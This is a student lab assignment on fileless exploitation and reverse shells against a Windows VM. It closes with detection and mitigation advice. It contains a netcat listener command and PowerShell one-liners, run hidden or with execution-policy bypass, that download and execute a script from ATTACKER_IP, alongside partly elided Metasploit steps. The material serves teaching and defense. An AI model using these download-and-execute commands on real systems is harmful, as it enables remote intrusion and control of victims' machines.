Assignment No #03

Topic:
Fileless Exploitation & Reverse Shells

Group No #08:

Sr NAME ROLL NO

01 M.Rizwan Ali BSSE51F22S(059)

02 Noor ul Hassan BSSE51F22S(091)

03 Usman Ahmed BSSE51F22S(083)

Fileless Exploitation & Reverse Shells

Objective of the Experiment:

• Understand what fileless exploitation is and why it is difficult to detect.

• Perform a practical demonstration using common penetration-testing tools.

• Establish a reverse shell without writing any malicious file to disk.

• Analyze how attackers abuse memory-only execution techniques.

• Provide defensive strategies to detect, mitigate, and respond to fileless intrusions.

Tools Used:

Kali Linux — 2024.x — Attacker machine

Windows 10/11 VM — Latest — Target system

PowerShell — 5.x–7.x — Fileless command execution

Netcat (nc) — Default in Kali — Reverse shell listener

Msfvenom + Metasploit Framework — 6.x — Memory-only payload & handler

Python3 (optional) — 3.11 — Lightweight HTTP server

Step-by-Step Procedure:

Experiment 1: Fileless Payload Execution Using PowerShell:

Step 1 — Start Listener on Kali:

Command:
nc -lvnp 4444

Explanation:
-l → Listen mode
-v → Verbose
-n → No DNS resolution
-p → Port 4444

Step 2 — Host a Script in Memory:

Create a PowerShell reverse shell script and host it:

echo '...powershell code...' > shell.ps1
python3 -m http.server 8080

Step 3 — Execute Fileless Payload on Windows:

powershell -nop -w hidden -c "IEX (New-Object
Net.WebClient).DownloadString('http://ATTACKER_IP:8080/shell.ps1')"

Step 4 — Receive the Reverse Shell:

PS C:\Users\Victim>

Experiment 2: Fileless Metasploit Reverse Shell (Memory Injection)

Step 1 — Generate an In-Memory Payload:

msfvenom -p windows/x64/meterpreter_reverse_tcp ...

Step 2 — Start the Metasploit Listener:

msfconsole
use exploit/multi/handler ...

Step 3 — Trigger the Payload on Windows:

powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://ATTACKER_IP:8080/mem.ps1')"

Observations & Results

• Reverse shells can be achieved without writing executables to disk.

• PowerShell IEX enables in-memory execution.

• Metasploit reflective payloads are harder to analyze.

• Signature-based antivirus often fails.

• Network and PowerShell logging are critical for detection.

Conclusion & Security Recommendations

Conclusion: Fileless exploitation leverages trusted system components to execute malicious code in memory, making detection difficult.

Security Recommendations:

• Enable PowerShell Constrained Language Mode.

• Turn on PowerShell logging.

• Use EDR tools.

• Monitor outbound network connections.

• Disable unnecessary scripting engines.

• Apply least privilege.

• Perform regular memory forensics.

References

• Microsoft PowerShell Documentation

• Metasploit Unleashed (OffSec)

• Kali Linux Documentation

• MITRE ATT&CK; Techniques: T1055, T1059, T1027, T1053

• https://www.kali.org

• https://docs.microsoft.com/en-us/powershell

• https://attack.mitre.org

• Netcat Manual Pages

• Python3 Documentation